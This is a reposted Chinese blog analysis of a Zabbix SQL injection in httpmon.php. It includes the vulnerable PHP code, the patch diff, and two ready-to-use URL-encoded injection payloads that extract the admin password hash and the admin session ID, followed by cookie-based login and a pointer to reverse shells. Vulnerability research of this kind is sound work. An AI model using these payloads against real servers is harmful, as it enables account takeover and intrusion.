Zabbix SQL Injection.RCE
该漏洞于2013年9月11号提交,9月23号得到确认,10月2号发布补丁。
新出的0day,可以通过sql注入直接进入后台,并执行系统命令。
该漏洞已有metasploit利用模块,请使用Zabbix的公司注意及时打补丁。
0x01 利用细节该漏洞存在于httpmon.php脚本中,未登录用户也可访问。
这是由于Zabbix预先设定了一个guest用户,未登录用户都被设定为guest用户的访问权限。
如果guest用户被禁用,将不能访问httpmon.php脚本,利用该漏洞。
可以在管理员的管理面板中禁用guest用户。
从下图中可以看出来applications参数存在sql注入。
查看源代码:
#!php foreach ($_REQUEST[applications] as $application) { add2favorites(web.httpmon.applications, $application);
进入了$application变量中,跟踪add2favorites函数:
#!php function add2favorites($favobj, $favid, $source = null) { $favorites = get_favorites($favobj); foreach ($favorites as $favorite) { if ($favorite[source] == $source $favorite[value] == $favid) { return true; DBstart(); $values = array( profileid = get_dbid(profiles, profileid), userid = CWebUser::$data[userid], idx = zbx_dbstr($favobj), value_id = $favid, type = PROFILE_TYPE_ID
进入$values数组的value_id中,再往下跟踪就可以发现变量没有经过任何过滤进入到sql语句中:
#!php return DBend(DBexecute(INSERT INTO profiles (.implode(, , array_keys($values)).) VALUES (.implode(, , $values).)));
最新,Zabbix的补丁:
#!php Index: frontends/php/include/profiles.inc.php =================================================================== --- frontends/php/include/profiles.inc.php (revision 38884) +++ frontends/php/include/profiles.inc.php (working copy) @@ -148,9 +148,9 @@ profileid = get_dbid(profiles, profileid), userid = self::$userDetails[userid], idx = zbx_dbstr($idx), - $value_type = ($value_type == value_str) ? zbx_dbstr($value) : $value, - type = $type, - idx2 = $idx2 + $value_type = zbx_dbstr($value), + type = zbx_dbstr($type), + idx2 = zbx_dbstr($idx2) return DBexecute(INSERT INTO profiles (.implode(, , array_keys($values)).) VALUES (.implode(, , $values).));// string value prepearing if (isset($DB[TYPE]) $DB[TYPE] == ZBX_DB_MYSQL) { function zbx_dbstr($var) { if (is_array($var)) { foreach ($var as $vnum = $value) { $var[$vnum] = "".mysql_real_escape_string($value).""; return $var; return "".mysql_real_escape_string($var)."";
变量处理经过了一层mysql_real_escape_string函数的过滤。
在上面那个漏洞中,下面的语句可以读取管理员的用户名与密码md5的hash值:
http://zabbix.server/zabbix/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28alias,0x7e,passwd,0x7e%29%20as%20char%29,0x7e%29%29%20from%20zabbix.users%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29
成功获取,但是如果管理员的密码过于复杂,md5碰撞不出来明文的怎么办呢?
发现Zabbix的数据库中还保存了用户的session值,它们似乎都不会失效,除非用户点击了退出登录。
下图展示了数据库中sessions表保存的内容:
那我们直接注入获取管理员的session值,直接登录吧,无需碰撞md5的hash了。
http://zabbix.server/zabbix/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29,concat%28%28select%28select%20concat%28cast%28concat%28sessionid,0x7e,userid,0x7e,status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20userid=1%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20information_schema.tables%20group%20by%20x%29a%29
用获取到的session替换cookie中zbx_sessionid中的值:
然后就登陆成功:
管理员进入后可以命令执行具体方法wooyun上已经有了:
WooYun: sohu的zabbix,可导致内网渗透
也可以直接反弹shell执行命令方便很多,具体姿势可以参考:
反弹shell的十种姿势
原创文章,作者:ItWorker,如若转载,请注明出处:https://blog.ytso.com/55694.html
mysqlphpshell相关文章
- MySQL Error number: 4018; Symbol: ER_CANT_SET_ANONYMOUS_TO_GTID_AND_WAIT_UNTIL_SQL_THD_AFTER_GTIDS; SQLSTATE: HY000 报错 故障修复 远程处理
- 一文带你理解慢SQL分析与优化
- 详解SQL Server如何修改数据库物理文件的存在位置
- 中的应用Oracle数据库中的SQL语句使用指南(sql语句在oracle)
- 查询 MySQL查询:从SQL语句中构建你的查询(sql语句mysql)
- MySQL 跟踪SQL痕迹:如何调试查询问题(mysql跟踪sql)
- 漏洞预警:Zabbix高危SQL注入漏洞,可获取系统权限
- 如何在MySQL中运行SQL脚本:简单提示与步骤(mysql运行sql脚本)
- sql statementA Guide to Crafting OracleValid SQL Statements(oraclevalid)
- 文件MySQL导入SQL文件教程(mysql怎么导入sql)
- 安卓设备上实现对 MS SQL 的高效操作(安卓操作mssql)
- MySQL SQL优化,提高查询效率。(mysql中的sql优化)
- 建立SQL Server环境,实现断言功能(sqlserver有断言)
- 深入解读:SQL Server 的强大特性(sqlserver指什么)
- 利用SQL Server建构数据库的绝佳之路(sqlserver建造)
- 逗号SQL Server 使用半角逗号:有什么作用?(sqlserver半角)
- 入门 SQL Server: 通过实用案例快速掌握SQL技术(sqlserver 书籍)
- 查询使用MSSQL对多表进行复杂SQL查询(sql mssql 多表)
- MySQL中使用SQL剪切实现数据处理(mysql中sql剪切)
- MySQL中如何筛选不为空的SQL语句(mysql中sql不为空)
- MySQL查询条件详解,让你熟练掌握SQL语句中的几个条件(mysql中几个条件)
- MySQL与SQL不同,你知道这些区别吗(mysql 不等于sql)
- 推荐SQLServer重新恢复自动编号列的序号的sql代码
- php使用sql数据库获取字段问题介绍